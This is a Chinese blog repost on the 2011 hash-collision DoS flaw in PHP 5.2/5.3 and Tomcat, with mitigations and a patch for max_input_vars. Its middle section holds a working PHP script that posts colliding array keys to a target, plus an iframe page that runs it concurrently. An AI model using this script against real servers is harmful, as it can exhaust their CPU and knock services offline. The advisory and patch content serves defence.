关于php-5.2.x和php-5.3.x hash dos 漏洞攻击与修复

 

  起因:

  Wed, 28 Dec 2011 22:28:16 GMT apache tomcat公布了一个安全漏洞。

  http://mail-archives.apache.org/mod_mbox/www-announce/201112.mbox/%3C4EFB9800.5010106@apache.org%3E

  漏洞原理:

  依靠相应语言的hashtable/hashmap实现过程(request多为此结构),当不同的key存入时如果hash值相等则以链表方式连接在前面。此漏洞利用碰撞相同的hash值得到一个长链表,重新get时,map的计算过程会将时间复杂度巨增,原来一个简单的过程将变成一个很费cpu的过程。

  影响到的:

  最快时间tomcat公布了解决办法。

  php进行了升级。

  ms也发了公告http://technet.microsoft.com/en-us/security/bulletin/ms11-100。

  解决办法:

  tomcat

  临时办法:

  默认大小2097152,当maxPostSize=0时,不限制;maxPostSize=20971520时,为20M,改为一个小于10k的值,所有版本可用,会影响用户。

  持久办法:

  用新的版本,maxParameterCount默认值1000。

  nginx

  临时办法:

  默认的最大请求body大小为8m,修改设置client_max_body_size=10k;此招为各种情况下万金油,会影响用户。

  持久办法:

  暂无,应该很快会有max_request_count的参数。

  php

  持久办法:

  php升级到5.3.9,5.2需要打patch。详细见:http://www.php100.com/html/webkaifa/PHP/PHPyingyong/2012/0103/9595.html  

 

 =============

通过PHP的hash冲突漏洞进行DDoS攻击

  攻击原理:

  通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。

  不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

  文件:dos.php

  // 目标地址

  // 只要目标地址存在,不用管它是干嘛的

  $host = 'http://127.0.0.1/test.php';

  $data = '';

  $size = pow(2, 15);

  for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)

  {

  $data .= '&array[' . $key . ']=0';

  }

  $ret = curl($host, ltrim($data,'&'));

  var_dump($ret);

  function curl($url, $post, $timeout = 30){

  $ch = curl_init();

  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);

  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);

  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));

  curl_setopt($ch, CURLOPT_URL, $url);

  curl_setopt($ch, CURLOPT_POST, true);

  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

  $output = curl_exec($ch);

  if ($output === false) return false;

  $info = curl_getinfo($ch);

  $http_code = $info['http_code'];

  if ($http_code == 404) return false;

  curl_close($ch);

  return $output;

  }


 

  文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

<title>DDOS</title>

</head>

<body>

<?php for($i=0; $i<5; $i++){//并发数

echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';

} ?>

</body>

</html> 


 

 虽然我的测试目标服务器是台虚拟机,但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务,点到为止:)

 

  最近爆发出来的hash dos漏洞威力十足,杀伤力很大。随便一台服务器就可以发起ddos攻击,导致cpu长期占用100%,从而使服务器down机。下面给出php-5.2.x和php-5.3.x的修复方法。

  php-5.2.x:

  到这里https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars下载对应的补丁版本,进入php目录,执行patch -p1 < php-5.2.*-max-input-vars.patch打上补丁,之后make 和make install即可。

  php-5.3.x:

  php-5.3.x没有提供相应的补丁版本,laruence建议使用php5.3.x的升级到5.3.9RC4或者按照php5.2.x的补丁修改适应成php5.3.x的补丁。下面我们提供直接修改文件的方法,虽然比较麻烦。

  1、修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:

  STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)

  2、修改文件/main/php_globals.h,_php_core_globals结构体内加上:

  long max_input_vars;

  3、修改文件/main/php_variables.c,在:

  zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);

  之前加入:

  if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {

  php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));

  }

  一共有两处,第一处数组中的键时的操作,而第二处是普通变量时的操作

来源:http://www.php100.com/html/itnews/PHPxinwen/2012/0107/9629.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值